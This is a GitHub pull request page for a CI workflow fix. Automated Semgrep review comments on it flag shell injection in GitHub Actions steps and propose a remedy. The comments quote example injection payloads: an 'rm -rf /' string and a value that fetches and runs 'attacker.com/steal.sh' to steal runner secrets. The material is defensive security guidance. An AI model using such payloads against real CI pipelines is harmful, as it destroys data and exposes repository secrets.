-
Notifications
You must be signed in to change notification settings - Fork 200
Fix CI Env #1118
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Fix CI Env #1118
Conversation
abueide
commented
Jan 28, 2026
- Fix CI Env
- Split android subshell into android-min and android-latest to avoid duplicate sdk download
- Improve sdk resolution summary help text
| run: | | ||
| case "${{ inputs.target }}" in | ||
| min|max) | ||
| ;; | ||
| *) | ||
| echo "Unsupported target '${{ inputs.target }}' for CI. Use min or max." >&2 | ||
| exit 1 | ||
| ;; | ||
| esac |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Semgrep identified an issue in your code:
User-controlled workflow input inputs.target is directly interpolated into a shell script, allowing code injection attacks that could compromise the runner and steal secrets.
More details about this
The run: step directly interpolates ${{ inputs.target }} from workflow inputs into a shell command without sanitization. An attacker could craft a malicious workflow input to inject arbitrary shell code. For example, if an attacker submits a workflow input like target: '; rm -rf /; echo ', the shell would execute:
case "; rm -rf /; echo " in
min|max)
;;
*)
echo "Unsupported target '; rm -rf /; echo ' for CI. Use min or max." >&2
exit 1
;;
esacThe rm -rf / command would run during the case statement evaluation, destroying the runner's filesystem. Even though this script uses case (which provides some protection), the pattern of directly interpolating user input into run: commands is dangerous and violates GitHub Actions security best practices. An attacker could also escape the case statement entirely with different payloads like target: $(malicious_command) or target: command_substitution`` to execute arbitrary code and steal repository secrets or source code from the runner.
Pass workflow inputs through environment variables instead, which prevents shell interpretation of special characters.
To resolve this comment:
✨ Commit Assistant fix suggestion
| run: | | |
| case "${{ inputs.target }}" in | |
| min|max) | |
| ;; | |
| *) | |
| echo "Unsupported target '${{ inputs.target }}' for CI. Use min or max." >&2 | |
| exit 1 | |
| ;; | |
| esac | |
| env: | |
| TARGET: ${{ inputs.target }} | |
| run: | | |
| case "$TARGET" in | |
| min|max) | |
| ;; | |
| *) | |
| echo "Unsupported target '$TARGET' for CI. Use min or max." >&2 | |
| exit 1 | |
| ;; | |
| esac |
View step-by-step instructions
- Move the GitHub Actions expression (
${{ inputs.target }}) into an environment variable using theenv:key for that step. For example, addTARGET: ${{ inputs.target }}underenv:beforerun:. - In your shell script, reference the environment variable instead of the GitHub Actions expression. Use double quotes, like this:
"$TARGET". - Your fixed step should look like:
- name: Validate target env: TARGET: ${{ inputs.target }} run: | case "$TARGET" in min|max) ;; *) echo "Unsupported target '$TARGET' for CI. Use min or max." >&2 exit 1 ;; esac
By using an environment variable, you prevent command injection risks from untrusted workflow inputs.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.
Need help with this issue? Consult our Semgrep Findings Documentation or ask in #help-appsec on Slack.
You can view more details about this finding in the Semgrep AppSec Platform.
| project-path: ${{ inputs.devbox_config }} | ||
| enable-cache: 'false' | ||
| - name: iOS E2E Tests | ||
| run: devbox run --pure --config=${{ inputs.devbox_config }} test-ios |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Semgrep identified an issue in your code:
Untrusted workflow input inputs.devbox_config is directly interpolated into a shell command, allowing arbitrary command injection by an attacker who controls the workflow input.
More details about this
The run: step directly interpolates ${{ inputs.devbox_config }} into a shell command without sanitization. An attacker can submit a malicious workflow input for devbox_config and inject arbitrary shell commands into the runner.
Exploitation scenario:
- An attacker submits a pull request or triggers the workflow with
devbox_configset to something like../; curl attacker.com/steal.sh | bash; # - When the
run:step executes, the shell expands this to:devbox run --pure --config=../; curl attacker.com/steal.sh | bash; # test-ios - The shell now executes three separate commands: the devbox command fails on the invalid config path, then
curldownloads a malicious script, thenbashexecutes it - The attacker's script can read
$GITHUB_TOKENor other secrets from the runner environment and exfiltrate them, or modify source code in the repository
The inputs variable comes from GitHub workflow inputs, which are untrusted user-controlled data. Even though this specific input is documented as a file path, an attacker controlling the workflow trigger can provide any arbitrary string.
To resolve this comment:
✨ Commit Assistant fix suggestion
| run: devbox run --pure --config=${{ inputs.devbox_config }} test-ios | |
| run: devbox run --pure --config="$DEVBOX_CONFIG" test-ios | |
| env: | |
| DEVBOX_CONFIG: ${{ inputs.devbox_config }} | |
| TARGET_SDK: ${{ inputs.target }} | |
| IOS_RUNTIME_MIN: ${{ steps.defaults.outputs.runtime_min }} | |
| IOS_RUNTIME_MAX: ${{ steps.defaults.outputs.runtime_max }} |
View step-by-step instructions
- Move the input that uses
${{ inputs.devbox_config }}into theenv:section by adding a new environment variable, for example,DEVBOX_CONFIG: ${{ inputs.devbox_config }}. - Replace the use of
${{ inputs.devbox_config }}in therun:line with the new environment variable, wrapped in double quotes:"$DEVBOX_CONFIG".
The updated line should read:run: devbox run --pure --config="$DEVBOX_CONFIG" test-ios.
Using environment variables like this prevents untrusted user input from being directly executed by the shell.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.
Need help with this issue? Consult our Semgrep Findings Documentation or ask in #help-appsec on Slack.
You can view more details about this finding in the Semgrep AppSec Platform.